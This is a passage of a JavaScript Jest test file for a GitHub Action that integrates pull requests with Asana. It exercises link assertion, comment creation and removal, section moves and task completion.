await client.tasks.delete(task);
})
beforeEach(() => {
// Reset inputs
inputs = {}
github.context.payload = {};
})
test('asserting a links presence', async () => {
inputs = {
'asana-pat': asanaPAT,
'action': 'assert-link',
'link-required': 'true',
'github-token': 'fake'
}
github.context.payload = {
pull_request: {
'body': defaultBody,
'head': {
'sha': '1234567890123456789012345678901234567890'
}
}
};
const mockCreateStatus = jest.fn()
github.GitHub = jest.fn().mockImplementation(() => {
return {
repos: {
createStatus: mockCreateStatus,
}
}
});
await action.action();
expect(mockCreateStatus).toHaveBeenCalledWith({
owner: 'a-cool-owner',
repo: 'a-cool-repo',
context: 'asana-link-presence',
state: 'success',
description: 'asana link not found',
sha: '1234567890123456789012345678901234567890',
});
});
test('creating a comment', async () => {
inputs = {
'asana-pat': asanaPAT,
'action': 'add-comment',
'comment-id': commentId,
'text': 'rad stuff',
'is-pinned': 'true'
}
// Mock github context
github.context.payload = {
pull_request: {
'body': defaultBody
}
};
await expect(action.action()).resolves.toHaveLength(1);
// rerunning with the same comment-Id should not create a new comment
await expect(action.action()).resolves.toHaveLength(0);
});
test('removing a comment', async () => {
inputs = {
'asana-pat': asanaPAT,
'action': 'remove-comment',
// note: relies on the task being created in `creating a comment` test
'comment-id': commentId,
}
github.context.payload = {
pull_request: {
'body': defaultBody
}
};
await expect(action.action()).resolves.toHaveLength(1);
});
test('moving sections', async () => {
inputs = {
'asana-pat': asanaPAT,
'action': 'move-section',
'targets': '[{"project": "Asana bot test environment", "section": "Done"}]'
}
github.context.payload = {
pull_request: {
'body': defaultBody
}
};
await expect(action.action()).resolves.toHaveLength(1);
inputs = {
'asana-pat': asanaPAT,
'action': 'move-section',
'targets': '[{"project": "Asana bot test environment", "section": "New"}]'
}
await expect(action.action()).resolves.toHaveLength(1);
});
test('completing task', async () => {
inputs = {
'asana-pat': asanaPAT,
'action': 'complete-task',
'is-complete': 'true'
}
github.context.payload = {
pull_request: {
'body': defaultBody
}
};
await expect(action.action()).resolves.toHaveLength(1);
const actualTask = await client.tasks.findById(task.gid);
expect(actualTask.completed).toBe(true);
});
}); | f48e200843f6e3b300510b765ffd2a27180a9de2 | [
"JavaScript"
] | 1 | JavaScript | CurioVision/github-asana-action | 9af15ca6c537a33c76ab4b67fbfdc1df018f4b23 | d7b2c7df6aaa09f6b7168d2a9e52c058642eb7c9 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.